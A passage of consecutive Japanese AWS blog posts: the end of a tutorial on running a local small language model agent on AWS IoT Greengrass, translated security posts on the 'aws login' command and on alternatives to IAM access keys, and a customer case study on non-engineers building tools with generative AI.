Cloud (EC2) GPU インスタンス ）。Greengrass のデプロイについて詳しくは、 チュートリアル: AWS IoT Greengrass V2 の開始方法 のドキュメントをご参照ください。提供されたテンプレートを使用して、作業環境を EC2 にデプロイできます。 デバイスに Ollama がインストールされ、実行されていること。 デバイスに Python 3.10 + がインストールされていること。 AWS IoT Greengrass Development Kit (GDK) CLI がインストールされていること。 エージェントとツール呼び出しをサポートする SLM (例: Qwen 3)。 ウォークスルー この記事では、以下のことを行います。 Strands Agents を AWS IoT Greengrass コンポーネントとしてデプロイします。 SLM をエッジデバイスにダウンロードします。 デプロイされたエージェントをテストします。 コンポーネントのデプロイ まず、StrandsAgentGreengrass コンポーネントをエッジデバイスにデプロイしましょう。Strands Agents リポジトリをクローンします。 git clone https://github.com/aws-solutions-library-samples/guidance-for-deploying-ai-agents-to-device-fleets-using-aws-iot-greengrass.git cd guidance-for-deploying-ai-agents-to-device-fleets-using-aws-iot-greengrass Greengrass Development Kit (GDK) を使用してコンポーネントをビルドおよび公開します： コンポーネントを公開するには、 gdk-config.json ファイル内のリージョンとバケットの値を変更する必要があります。推奨されるアーティファクトバケット値は greengrass-artifacts です。GDK は、バケットが存在しない場合、 greengrass-artifacts-<region>-<account-id> のような形式でバケットを生成します。詳細については、 Greengrass Development Kit CLI configuration file のドキュメントを参照してください。 バケットとリージョンの値を変更した後、以下のコマンドを実行してコンポーネントをビルドおよび公開します。 gdk component build gdk component publish コンポーネントは AWS IoT Greengrass Components Console に表示されます。デバイスにコンポーネントをデプロイするには、 コンポーネントをデプロイする ドキュメントを参照してください。 デプロイ後、コンポーネントはデバイス上で実行されます。これは Strands Agents、OPC-UA シミュレーションサーバー、サンプルドキュメントで構成されています。Strands Agents は SLM 推論エンジンとして Ollama サーバーを使用します。このコンポーネントには、シミュレートされたリアルタイムデータとエージェントが使用するサンプル機器マニュアルを取得するための OPC-UA およびドキュメントツールが含まれています。 Amazon EC2 インスタンスでコンポーネントをテストしたい場合は、 IoTResources.yaml Amazon CloudFormation テンプレートを使用して、必要なソフトウェアがインストールされた GPU インスタンスをデプロイできます。このテンプレートでは、Greengrass を実行するためのリソースも作成されます。スタックのデプロイ後、 AWS IoT Greengrass コンソール に Greengrass Core デバイスが表示されます。CloudFormation スタックは、リポジトリの source/cfn フォルダにあります。CloudFormation スタックのデプロイ方法については、 CloudFormation コンソールからスタックを作成する ドキュメントをお読みください。 モデルファイルのダウンロード このコンポーネントには、Ollama が SLM として使用する GGUF 形式のモデルファイルが必要です。エッジデバイスの /tmp/destination/ フォルダにモデルファイルをコピーする必要があります。コンポーネントの recipe.yaml ファイルでデフォルトの ModelGGUFName パラメータを使用する場合、モデルファイル名は model.gguf である必要があります。 GGUF 形式のモデルファイルがない場合は、Hugging Face からダウンロードできます。例えば Qwen3-1.7B-GGUF です。実際のアプリケーションでは、これはユースケースに対する特定のビジネス課題を解決するファインチューニング済みのモデルになります。 (オプション) S3FileDownloader を使用したモデルファイルのダウンロード エッジデバイスへのモデル配布を大規模に管理するには、 S3FileDownloader AWS IoT Greengrass コンポーネントを使用できます。このコンポーネントは、自動リトライと再開機能をサポートしているため、接続が不安定な環境で大きなファイルをデプロイする際に特に有効です。モデルファイルのサイズは大きくなる可能性があり、多くの IoT ユースケースではデバイスの接続性が信頼できないため、このコンポーネントはデバイスフリートに対してモデルを確実にデプロイするのに役立ちます。 S3FileDownloader コンポーネントをデバイスにデプロイした後、 AWS IoT MQTT Test Client を使用して、以下のペイロードを things/<MyThingName>/download トピックに発行できます。ファイルは Amazon S3 バケットからダウンロードされ、エッジデバイスの /tmp/destination/ フォルダに配置されます。 {     "jobId": "filedownload",     "s3Bucket": "<ModelFileBucket>",     "key":"model.gguf" } リポジトリで提供されている CloudFormation テンプレートを使用した場合は、このテンプレートによって作成された S3 バケットを使用できます。バケット名を確認するには、CloudFormation スタックのデプロイ出力を参照してください。 ローカルエージェントのテスト デプロイが完了してモデルがダウンロードされたら、 AWS IoT Core MQTT Test Client を通じてエージェントをテストできます。手順は次のとおりです。 things/<MyThingName>/# トピックをサブスクライブして、エージェントのレスポンスを表示します。 入力トピック things/<MyThingName>/agent/query にテストクエリをパブリッシュします： {     "query": "What is the status of the conveyor belt?" } 複数のトピックでレスポンスを受信します: 最終レスポンストピック ( things/<MyThingName>/agent/response ) には、Orchestrator Agent の最終レスポンスが含まれます: {     "query": "What is the status of the oven?",     "response": "The oven is currently operating at 802.2°F (slightly above the setpoint of 800.0°F), with heating active...",     "timestamp": 1757677413.6358254,     "status": "success" } サブエージェントレスポンス ( things/<MyThingName>/agent/subagent ) には、OPC-UA Agent や Documentation Agent などの中間エージェントからのレスポンスが含まれています。 {     "agent": "opc factory",     "query": "Get current oven status",     "response": "** Oven Status Report:** \n- ** Current Temperature:** 802.2°F...",     "timestamp": 1757677323.443954 } エージェントはローカル SLM を使用してクエリを処理し、OPC-UA シミュレートデータとローカルに保存された機器ドキュメントの両方に基づいて応答を提供します。デモンストレーションの目的で、AWS IoT Core MQTT テストクライアントをローカルデバイスとの通信用の簡単なインターフェースとして使用します。プロダクション環境では、Strands Agents はデバイス内のみで完全に動作させることができ、クラウドとの通信は必須ではありません。 コンポーネントのモニタリング コンポーネントの動作を監視するには、AWS IoT Greengrass デバイスにリモートで接続し、コンポーネントログを確認します。 sudo tail -f /greengrass/v2/logs/com.strands.agent.greengrass.log これにより、モデルの読み込み、クエリ処理、レスポンス生成など、エージェントのリアルタイム動作を確認できます。Greengrass のログシステムの詳細については、 AWS IoT Greengrass ログのモニタリング のドキュメントで詳しく学ぶことができます。 クリーンアップ この記事で作成したリソースを削除するには、 AWS IoT Core Greengrass コンソール にアクセスしてください。 デプロイ に移動し、コンポーネントのデプロイに使用したデプロイメントを選択して、Strands Agents コンポーネントを削除してデプロイメントを修正します。 S3FileDownloader コンポーネントをデプロイしている場合は、前のステップで説明したようにデプロイメントから削除できます。 コンポーネント に移動し、Strands Agents コンポーネントを選択して バージョンを削除 を選択してコンポーネントを削除します。 S3FileDownloader コンポーネントを作成している場合は、前のステップで説明したように削除できます。 EC2 インスタンスでデモを実行するために CloudFormation スタックをデプロイした場合は、 AWS CloudFormation コンソール からスタックを削除してください。EC2 インスタンスは停止または終了されるまで時間料金が発生することに注意してください。 Greengrass コアデバイスが不要な場合は、Greengrass コンソールの コアデバイス セクションから削除できます。 Greengrass コアデバイスを削除した後、モノに接続されている IoT 証明書を削除します。モノの証明書を見つけるには、 AWS IoT モノ コンソール に移動し、このガイドで作成したモノを選択して、 証明書 タブを表示し、接続されている証明書を選択して、 アクション を選択してから、 無効化 と 削除 を実施します。 結論 この投稿では、AWS IoT Greengrass 上の Strands Agents を通じて統合された Ollama を使用して、SLM をローカルで実行する方法を示しました。このワークフローは、軽量な AI モデルを制約のあるハードウェア上にデプロイして管理しつつ、スケールと監視のためのクラウド統合の恩恵を受ける方法を実証しました。製造業の例として OPC-UA を使用し、エッジの SLM により、限られた接続環境でも、オペレーターが機器のステータスを照会し、テレメトリを解釈し、リアルタイムでドキュメントにアクセスできることを示しました。重要な決定はローカルで実行され、複雑な分析と再学習は安全にクラウドで処理されるという、ハイブリッドな方式です。このアーキテクチャを拡張して、エッジ AI エージェント (AWS IoT Greengrass を使用) とクラウドベースのエージェント (Amazon Bedrock を使用) がシームレスに統合されるハイブリッドクラウドエッジ AI エージェントシステムを作成できます。これにより分散コラボレーションが可能になります。エッジエージェントはリアルタイムの低レイテンシ処理と即座のアクションを管理し、クラウドエージェントは複雑な推論、データ分析、モデル改良、オーケストレーションを処理します。 著者について Ozan Cihangir is a Senior Prototyping Engineer at AWS Specialists & Partners Organization. He helps customers to build innovative solutions for their emerging technology projects in the cloud. Luis Orus is a senior member of the AWS Specialists & Partners Organization, where he has held multiple roles – from building high-performing teams at global scale to helping customers innovate and experiment quickly through prototyping. Amir Majlesi leads the EMEA prototyping team within AWS Specialists & Partners Organization. He has extensive experience in helping customers accelerate cloud adoption, expedite their path to production and foster a culture of innovation. Through rapid prototyping methodologies, Amir enables customer teams to build cloud native applications, with a focus on emerging technologies such as Generative & Agentic AI, Advanced Analytics, Serverless and IoT. Jaime Stewart focused his Solutions Architect Internship within AWS Specialists & Partners Organization around Edge Inference with SLMs. Jaime currently pursues a MSc in Artificial Intelligence.

本ブログは 2025 年 11 月 19 日に公開された AWS Blog “ Simplified developer access to AWS with ‘aws login’ ” を翻訳したものです。 AWS でのローカル開発用の認証情報の取得が、よりシンプルで安全になりました。新しい AWS Command Line Interface ( AWS CLI ) コマンド aws login を使用すると、長期アクセスキーを作成・管理することなく、AWS にサインアップした直後からすぐに構築を開始できます。 AWS マネジメントコンソール で使用しているのと同じサインイン方法を利用できます。 このブログでは、新しい aws login コマンドを使用して、AWS CLI、AWS Software Development Kit (AWS SDK)、およびそれらを使用して構築されたツールやアプリケーション向けの一時的な認証情報をワークステーションに取得する方法を紹介します。 AWS へのプログラムによるアクセスを始める 以下のセクションで説明するように、AWS マネジメントコンソールのサインイン方法で aws login コマンドを使用できます。 シナリオ 1: IAM 認証情報 (ルートまたは IAM ユーザー) を使用する ルートユーザーまたは IAM ユーザーのユーザー名とパスワードを使用してプログラムによるアクセス用の認証情報を取得するには、以下の手順を実行します。 最新の AWS CLI (バージョン 2.32.0 以降) をインストールします aws login コマンドを実行します デフォルトの AWS リージョン を設定していない場合、リージョンの入力を求められます (例: us-east-2、eu-central-1)。このプロンプトで一度入力すると、AWS CLI はその設定を記憶します。 図 1: AWS CLI のリージョンプロンプト AWS CLI がデフォルトのブラウザを開きます ブラウザウィンドウの指示に従います。 すでに AWS マネジメントコンソールにサインインしている場合は、「Continue with an active session」(アクティブなセッションで続行) という画面が表示されます。 図 2: AWS サインイン – アクティブセッションの選択 AWS マネジメントコンソールにサインインしていない場合は、サインインオプションページが表示されます。「Continue with Root or IAM user」(ルートユーザーまたは IAM ユーザーで続行) を選択し、AWS アカウントにログインします。 図 3: AWS サインイン – サインインオプション 成功です！AWS CLI コマンドを実行する準備ができました。 aws sts get-caller-identity コマンドを試して、現在使用している ID を確認してください。 図 4: AWS サインイン – 完了 シナリオ 2: フェデレーションサインインを使用する このシナリオは、組織の ID プロバイダーを通じて認証する場合に適用されます。フェデレーションで引き受けたロールのプログラムによるアクセス用の認証情報を取得するには、以下の手順を実行します。 シナリオ 1 のステップ 1〜4 を完了してから、以下の手順に進みます ブラウザウィンドウの指示に従います。 すでに AWS マネジメントコンソールにサインインしている場合、ブラウザにはフェデレーションサインインからコンソールへのアクティブな IAM ロールセッションを選択するオプションが表示されます。AWS マネジメントコンソールで マルチセッションサポート を有効にしている場合、最大 5 つのアクティブな AWS セッションを切り替えることができます。 図 5: AWS サインイン – アクティブな IAM ロールセッションの選択 AWS マネジメントコンソールにサインインしていない場合、または別の IAM ロールの一時的な認証情報を取得したい場合は、別のブラウザタブで現在の認証メカニズムを使用して AWS アカウントにサインインします。ログインに成功したら、このタブに戻り、「Refresh」(更新) ボタンを選択します。コンソールセッションがアクティブセッションの下に表示されます aws login プロセスが正常に完了したら、AWS CLI に戻ります 選択したコンソールサインイン方法に関係なく、 aws login コマンドによって発行された一時的な認証情報は、AWS CLI、AWS Tools for PowerShell、AWS SDK によって 15 分ごとに自動的にローテーションされます。これらの認証情報は、IAM プリンシパルに設定されたセッション期間 (最大 12 時間) まで有効です。セッション期間の制限に達すると、再度ログインするよう求められます。 図 6: AWS サインイン – セッションの有効期限 ローカル開発ツールを使用した AWS へのアクセス aws login コマンドでは、プロファイルを使用して複数の AWS アカウントとロールを切り替えることができます。 aws login --profile <PROFILE_NAME> でプロファイルを設定し、 aws sts get-caller-identity --profile <PROFILE_NAME> でそのプロファイルを使用して AWS コマンドを実行できます。 aws login によって発行された一時的な認証情報は、AWS CLI 以外でも使用できます。以下のツールでも利用可能です。 AWS SDK : 開発に AWS SDK を使用している場合、SDK クライアントはこれらの一時的な認証情報を使用して AWS に認証できます AWS Tools for PowerShell : Invoke-AWSLogin コマンドを使用します リモート開発サーバー : ブラウザにアクセスできないリモートサーバーで aws login --remote を使用すると、ブラウザで AWS コンソールにアクセスできるデバイスから一時的な認証情報を取得できます 新しいコンソール認証情報プロバイダーをサポートしていない古いバージョンの AWS SDK: これらの古い SDK を使用して構築されたソフトウェアは、AWS CLI の credential_process プロバイダー を使用することで、 aws login によって提供される認証情報をサポートできます IAM ポリシーによる aws login へのアクセス制御 aws login コマンドは、 signin:AuthorizeOAuth2Access と signin:CreateOAuth2Token の 2 つの IAM アクションによって制御されます。 SignInLocalDevelopmentAccess マネージドポリシーを使用するか、これらのアクションを IAM ポリシーに追加して、コンソールアクセス権を持つ IAM ユーザーと IAM ロールがこの機能を使用できるようにします。 AWS Organizations を使用していて、メンバーアカウントでのこのログイン機能の使用を制御したい場合は、サービスコントロールポリシー (SCP) を使用して上記の 2 つのアクションを拒否できます。これらの IAM アクションとそのリソースは、すべての関連する IAM ポリシーで使用できます。 AWS では、AWS Organizations で 一元化されたルートアクセス管理 を使用して、メンバーアカウントから長期ユーザー認証情報を排除することを推奨しています。この機能により、セキュリティチームは中央の管理アカウントから短期間でタスクが限定されたルートセッションを通じて特権タスクを実行できます。一元化されたルート管理を有効にしてメンバーアカウントのルートユーザー認証情報を削除すると、メンバーアカウントへのルートユーザーログインが拒否され、aws login を使用したルートユーザー認証情報によるプログラムによるアクセスも防止されます。ルートユーザー認証情報または IAM ユーザーを使用している開発者にとって、 aws login は開発ツールに一時的な認証情報を提供し、有効期限のない長期アクセスキーに代わる安全な方法となります。 aws login を使用したプログラムによるアクセスのログ記録とセキュリティ AWS サインインは AWS CloudTrail を通じて API アクティビティをログに記録します。CloudTrail には aws login 固有の 2 つの新しいイベントが追加されました。このサービスは、ユーザーがログインした AWS リージョンで AuthorizeOAuth2Access と CreateOauth2Token という 2 つの新しいイベント名を記録します。 以下は AuthorizeOAuth2Access イベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser", "arn": "arn:aws:sts::225989345271:assumed-role/Admin/testuser, "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "11111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-17T22:50:14Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-17T22:51:32Z", "eventSource": "signin.amazonaws.com", "eventName": "AuthorizeOAuth2Access", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "requestParameters": { "scope": "openid", "redirect_uri": "http://127.0.0.1:53037/oauth/callback", "code_challenge_method": "SHA-256", "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "e2854c76-1cba-4360-9fd1-5037b591466b", "eventID": "59e1720d-3deb-44ff-933d-6828be2a860a", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } 以下は CreateOAuth2Token イベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser-Isengard", "arn": "arn:aws:sts::111111111111:assumed-role/Admin/testuser-Isengard", "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "111111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-18T20:38:10Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-18T20:38:44Z", "eventSource": "signin.amazonaws.com", "eventName": "CreateOAuth2Token", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "aws-cli/2.32.0 md/awscrt#0.28.4 ua/2.1 os/macos#24.6.0 md/arch#arm64 lang/python#3.13.9 md/pyimpl#CPython m/b,AA,Z,E cfg/retry-mode#standard md/installer#exe sid/35033f4ca1bd md/prompt#off md/command#login", "requestParameters": { "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "94562943-c85b-4dc1-bf72-43b0fd42d6de", "eventID": "0b338fac-6a10-4740-b34d-1bb6923e799e", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } aws login コマンドは、認可コード傍受攻撃から保護するために、PKCE (Proof Key for Code Exchange) を使用した OAuth 2.0 認可コードフローを採用しています。これにより、AWS での開発を始めるために IAM ユーザーアクセスキーを設定する代わりとなる、安全な方法が提供されます。長期 IAM アクセスキーに代わる最新の認証アプローチについては、AWS Security Blog「 IAM アクセスキーからの脱却: AWS におけるモダンな認証アプローチ 」を参照してください。 まとめ AWS ローカル開発用ログイン機能は、AWS へのプログラムによるアクセスにおいて長期認証情報の使用を排除するのに役立つ、デフォルトで安全な機能強化です。 aws login を使用すると、AWS マネジメントコンソールへのサインインに使用しているのと同じ認証情報で、すぐに構築を開始できます。この機能は、すべての AWS 商用リージョン (中国と GovCloud を除く) で追加費用なしでご利用いただけます。 詳細については、 AWS CLI ユーザーガイド の認証とアクセスのセクションをご覧ください。 Shreya Jain Shreya は AWS Identity のシニアテクニカルプロダクトマネージャーです。複雑なアイデアに明確さとシンプルさをもたらすことにやりがいを感じています。仕事以外では、ピラティスやダンスをしたり、お気に入りのコーヒーショップを探したりしています。 Sowjanya Rajavaram Sowjanya は AWS の Identity and Security を専門とするシニアソリューションアーキテクトです。あらゆる規模のお客様の ID およびアクセス管理の問題解決を支援しています。旅行や新しい文化、食べ物を探求することを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 7 月 21 日に公開された AWS Blog “ Beyond IAM access keys: Modern authentication approaches for AWS ” を翻訳したものです。 AWS の認証において、 AWS Identity and Access Management (IAM) アクセスキーなどの長期認証情報に依存することは、認証情報の漏洩、不正な共有、窃取などのリスクをもたらします。この記事では、AWS のお客様が従来 IAM アクセスキーを使用してきた 5 つの一般的なユースケースと、検討すべきより安全な代替手段を紹介します。 AWS CLI アクセス: AWS CloudShell の活用 主に AWS コマンドラインインターフェイス (AWS CLI) アクセスのためにアクセスキーを使用している場合は、 AWS CloudShell の利用を検討してください。AWS CloudShell はブラウザベースの CLI で、使い慣れた強力な CLI 機能を提供しながら、ローカルでの認証情報管理の必要性を最小限に抑えます。 セキュリティを強化した AWS CLI: AWS IAM Identity Center より堅牢なソリューションが必要な場合は、AWS CLI v2 と AWS IAM Identity Center の組み合わせが優れた認証アプローチを提供します。この統合により、以下が可能になります。 ユーザー管理の一元化 多要素認証 (MFA) とのシームレスな統合 セキュリティ制御の強化 設定は AWS CLI ドキュメント を使用して簡単に行え、MFA は IAM Identity Center MFA ガイド に従って有効化できます。 ローカル開発: IDE 統合 ローカル環境で作業する開発者向けには、Visual Studio Code などの最新の統合開発環境 (IDE) が AWS Toolkit をサポートしており、IAM Identity Center を通じた安全な認証を提供します。これにより、スムーズな開発体験を維持しながら、長期アクセスキーが不要になります。詳細は、 AWS IDE 統合 をご覧ください。 AWS コンピューティングサービスと CI/CD アクセス アプリケーションや自動化パイプラインが AWS リソースへのアクセスを必要とする場合、AWS コンピューティングサービス ( Amazon Elastic Compute Cloud (Amazon EC2) 、 Amazon Elastic Container Service (Amazon ECS) 、 AWS Lambda ) 上で実行する場合でも、CI/CD ツールを通じて実行する場合でも、IAM ロールが理想的なソリューションを提供します。これらのロールは一時的な認証情報のローテーションを自動的に管理し、セキュリティのベストプラクティスに従います。 AWS コンピューティングサービスの場合 : コンピューティングリソースで標準の IAM ロールを使用します。実装の詳細については、 EC2 IAM ロールのドキュメント を参照してください AWS でホストされる CI/CD の場合 : AWS CodePipeline や AWS CodeBuild などを使用する場合は、 サービスリンクロール を使用してアクセス許可を安全に管理します Amazon EC2 でセルフホストされる CI/CD ツールの場合 : Jenkins や GitLab などのツールを AWS リソース上で実行している場合は、他のコンピューティングサービスと同様に IAM ロール (インスタンスプロファイル) を使用します サードパーティの CI/CD サービス (GitHub Actions、CircleCI など) については、次の 外部アクセス要件 を参照してください。 外部アクセス要件 サードパーティアプリケーションやオンプレミスワークロードが関係するシナリオでは、AWS は 3 つの方法を提供しています。 サードパーティアプリケーション : 長期アクセスキーの代わりに、IAM ロールを通じた一時的なセキュリティ認証情報を実装します。ルートユーザーのアクセスキーは絶対に使用しないでください。 サードパーティアクセスのドキュメント を参照してください オンプレミスワークロード : IAM Roles Anywhere を使用して、AWS 以外のワークロード用の一時的な認証情報を生成します。詳細については、 AWS 以外のワークロードのアクセス を参照してください CI/CD SaaS (Software as a Service) : クラウドベースの CI/CD サービスの場合は、 OpenID Connect (OIDC) と IAM ロールの統合 を使用して、永続的な認証情報の必要性を最小限に抑えます。これにより、CI/CD パイプラインは信頼関係を通じて一時的な認証情報を取得できます。実装の詳細については、AWS OIDC プロバイダーのドキュメントを参照してください ベストプラクティス: 最小権限の原則 認証方法に関係なく、常に最小権限の原則を実装してください。これにより、ユーザーとアプリケーションが必要なアクセス許可のみを持つようになります。正確な IAM ポリシーの作成に関するガイダンスについては、 最小権限の IAM ポリシーを作成するためのテクニック を参照してください。 注: AWS は AWS CloudTrail ログに基づくポリシー生成も提供しており、実際の使用パターンに基づいてアクセス許可テンプレートを作成できます。この機能については、 IAM ポリシー生成のドキュメント をご覧ください。 まとめ ここまで紹介してきたように、IAM アクセスキーに代わる安全な代替手段は数多くあり、セキュリティリスクを軽減しながら AWS 認証戦略を強化できます。CloudShell、IAM Identity Center、IDE 統合、IAM ロール、IAM Roles Anywhere などのツールを使用することで、最新のセキュリティのベストプラクティスに沿った堅牢な認証メカニズムを実装できます。重要なポイントは以下のとおりです。 長期アクセスキーを避け、一時的な認証情報を使用する ユースケースに最適な認証方法を選択する すべてのアクセス方法で最小権限の原則を実装する ポリシーの生成と管理のために AWS が提供する組み込みツールを活用する 新しいソリューションが利用可能になったら、認証方法を定期的に見直して更新する これらの変更を行うことで、セキュリティポスチャを改善するだけでなく、AWS 環境全体の認証プロセスを効率化できます。まずは現在の IAM アクセスキーのユースケースを特定し、これらのより安全な代替手段に段階的に移行することから始めてください。将来的にセキュリティ管理の負担が軽減され、セキュリティチームにとっても大きなメリットとなるでしょう。 Mitch Beaumont Mitch はオーストラリアのシドニーを拠点とする Amazon Web Services のプリンシパルソリューションアーキテクトです。オーストラリア最大級の金融サービスのお客様と協力し、構築・提供する製品や機能のセキュリティ水準を継続的に向上させる支援をしています。仕事以外では、家族との時間、写真撮影、サーフィンを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 株式会社アド・ダイセン 様とアマゾン ウェブ サービス ジャパン合同会社が共同で執筆いたしました。 みなさん、こんにちは。ソリューションアーキテクト 瀬高 拓也です。 株式会社アド・ダイセンの理念は「”顧客”から”個客”へ」。付加価値を追求し、One to One コミュニケーションを具現化することを掲げています。目標を共有する二人三脚の戦略パートナーとして、顧客一人ひとりの「おもてなし」にフォーカスした”個客”戦略を打ち出しています。 このような理念を実現するためには、お客様ごとにカスタマイズされたソリューションを提供する必要があり、限られたリソースで多様な要求に応える柔軟性と、個別対応を可能にする技術基盤の構築が重要な課題となっていました。。本ブログでは、アド・ダイセン様が Generative AI Usecases (GenU) を活用し、非技術者が主導して業務効率化を実現した取り組みをご紹介します。 成熟業界で生き残るための現場主導 DX：マニュアルワーカーからナレッジワーカーへ アド・ダイセン様は、ダイレクトメール（DM）の企画・制作から配送までを一貫して手がける企業です。成熟業界において会社が生き残るために、生産性向上が必須の課題であると捉えていました。 同社が直面していた最大の課題は、「現場レベルの DX は現場の人間にしかできない」という現実でした。お客様ごとのリピートビジネスであることから案件ごとに異なる帳票形式や運用プロセスになっており、業務の個別最適化が自然と発生していました。 このような業務が無数に存在する中で、グループ会社を含めてエンジニアは在籍しているものの、無数にある案件ごとの課題全てにエンジニアを割り当てるのは現実的ではありませんでした。その結果、基幹システムやサブシステムを刷新しても、手元の業務プロセスの効率化までに至らないという状況に陥っていました。 この課題に対し、同社は 3〜4 年前から RPA を導入し、本業に近いところで活用するなど、業務改善に前向きに取り組んでいましたが、さらなる加速が必要であると考えていました。 GenU で始まった現場主導の業務効率化 当初、アド・ダイセン様には明確な AI 活用ビジョンはありませんでしたが、「取り残されないために AI を使わなければ」という危機感がありました。 社内では既に生成 AI をマクロのコーディングやブログ執筆などに利用していましたが、チャットによるテキストベースのやり取りに留まっていました。そこで Amazon Bedrock を活用するイベントをきっかけに、GenU をご紹介させていただき、より実践的な活用を模索され始めました。 Amazon Bedrock が利用料に応じた従量課金である点も、まずは触ってみるという姿勢にマッチしており社内での実践的な検証をすることになりました。 生成 AI チームの発足と初期の取り組み 同社は RPA、社内 Q&A ツール、生成 AI の 3 チームを基礎研究を目的として編成し、生成 AI チームが GenUを前提に活動を開始しました。 GenUの機能や、ビルダーモードという独自にユースケースの作成ができる機能を使い、以下のような取り組みを行いました： – 議事録の自動作成 : 会議内容の要約と整理 – 画像判定ツール : DM の封筒加工の向きや面付けチェックの自動化 – 営業数字の分析ツール : 売上データの可視化と分析 これらは新しい価値を提供できたものの、テキスト出力が中心である点や既存事業の中心である事務業務の効率化には直結していない点から「もっと実務に直結する形で活用できないか」という課題が残っていました。 転機：スケジュール管理ツールの開発に成功 転機となったのは、名古屋のメンバーが「業務効率化のためのツールを Python で作れないか」という課題に挑戦し、GenU で Excel と Python を組み合わせたツールの開発に成功したことです。 学生時代に Python に触れた経験のあるメンバーが、GenU の チャット機能を活用して、スケジュール管理ツールを開発しました。 – 機能 : 出荷日から逆算して並行する 5〜10 本のプロジェクトのスケジュールを自動生成 – 連携 : Excel への自動転記、VBA で Outlook のカレンダーに自動登録 – 効果 : 2〜3 時間かかっていた作業が 数分で完了 このツールは従来人間が手作業で目視をしながら行う、スケジュール調整と転記作業を自動化し、主要な事務作業の多くに共通する変数取得→情報処理→提出資料への反映というプロセスを自動化することに成功しました。また、業務時間の効率化だけでなく、人的ミスの削減にも大きく寄与し作業自体の品質向上にもつながりました。また、何より重要だったのは、「非技術者でも 生成AI を使えば実務に直結するツールを作れる」という現場レベルのDXにおける成功体験を得たことでした。 次のステップ： Kiro を活用したより複雑な課題への挑戦 GenU を用いた開発による成功を受け、Kiro の活用を進めています。Kiro は統合開発環境（IDE）として、Agentic AI との対話を通じてコードを修正し、指示を出しながら開発を進められるツールです。 GenU で培った経験を基に、生成 AI チームのメンバーが Kiro を試験的に使い始めました。最初に取り組んだのが、配送シミュレーションツールの開発です。 アド・ダイセン様では、民間の配送業者と郵便局を使い分けて DM を配送しています。従来は Microsoft Access で事前シミュレーション用の資産レポートを作成していましたが、数万～多いもので数百万レコードにもなるデータを１件１件、複数ファイルの配送マスターに当ててシミュレーションする作業は非常に負荷が高く、案件によっては丸 2 日かけて行う業務でした。 Kiro での開発と効果 Kiro を使って配送シミュレーションツールの開発に挑戦したところ、大きな改善効果が得られました： – 開発時間 : わずか 2 時間で基本機能が完成 – 処理時間 : まる 2 日かかっていた作業が約 30 秒に短縮 – 機能 : 約 10 社の宅配会社マスターから選択、ファイルが複数でも、どのようなファイルレイアウトでも一括照合、結果の可視化 Kiro の IDE 機能 + Agentic AI により、コードの編集、デバッグ、実行を一貫して行えたことが、開発スピードの向上につながりました。「このデータをこう処理したい」という業務要件を伝えることで、AI がコードを生成・修正していく対話的な開発プロセスが、非技術者でも高度なツールを作れる環境を提供しています。 今後の展開 現在、配送シミュレーションツールは実業務での社内リリースに向けて調整中です。リリースの判断基準や展開方法を検討しており、しかるべき担当者がツールを開発、検証し、経験者がチェックしてルールを作る体制を整えて全社のDXを促進していきます。 まとめ 今回は株式会社アド・ダイセン様の事例として、非技術者の方が生成 AI を活用して現場主導で業務効率化を実現した事例をご紹介させていただきました。 GenU や Kiro を使った取り組みは、AIを使った業務効率化だけでなく、現場主導のDXにおいて重要な組織のイノベーション文化促進へとつながるアプローチになります。 今回の事例は AWS Startup Loft Tokyo で開催された Amazon Q Developer Meetup #4 にて同社の吉田様に ご登壇いただいた際にもお話いただきました。会場の皆様から「技術的な専門知識がない中で、どうやって素 晴らしいイノベーションを実現されたのか？」といった質問を多くいただくなど、参加者の方々からも強い関 心を持たれており、多くの業種から注目されるご登壇内容となり、ご好評いただきました。 成熟業界において、マニュアルワーカーからナレッジワーカーへのシフトは生き残りの鍵です。エンジニアリソースの制約がある中で、現場の人間が自ら課題を解決できる環境を整えることが、真の DX 推進につながります。生成 AI を活用にご興味がある方は、 AWS までお問い合わせください 。 ソリューションアーキテクト 瀬高 拓也

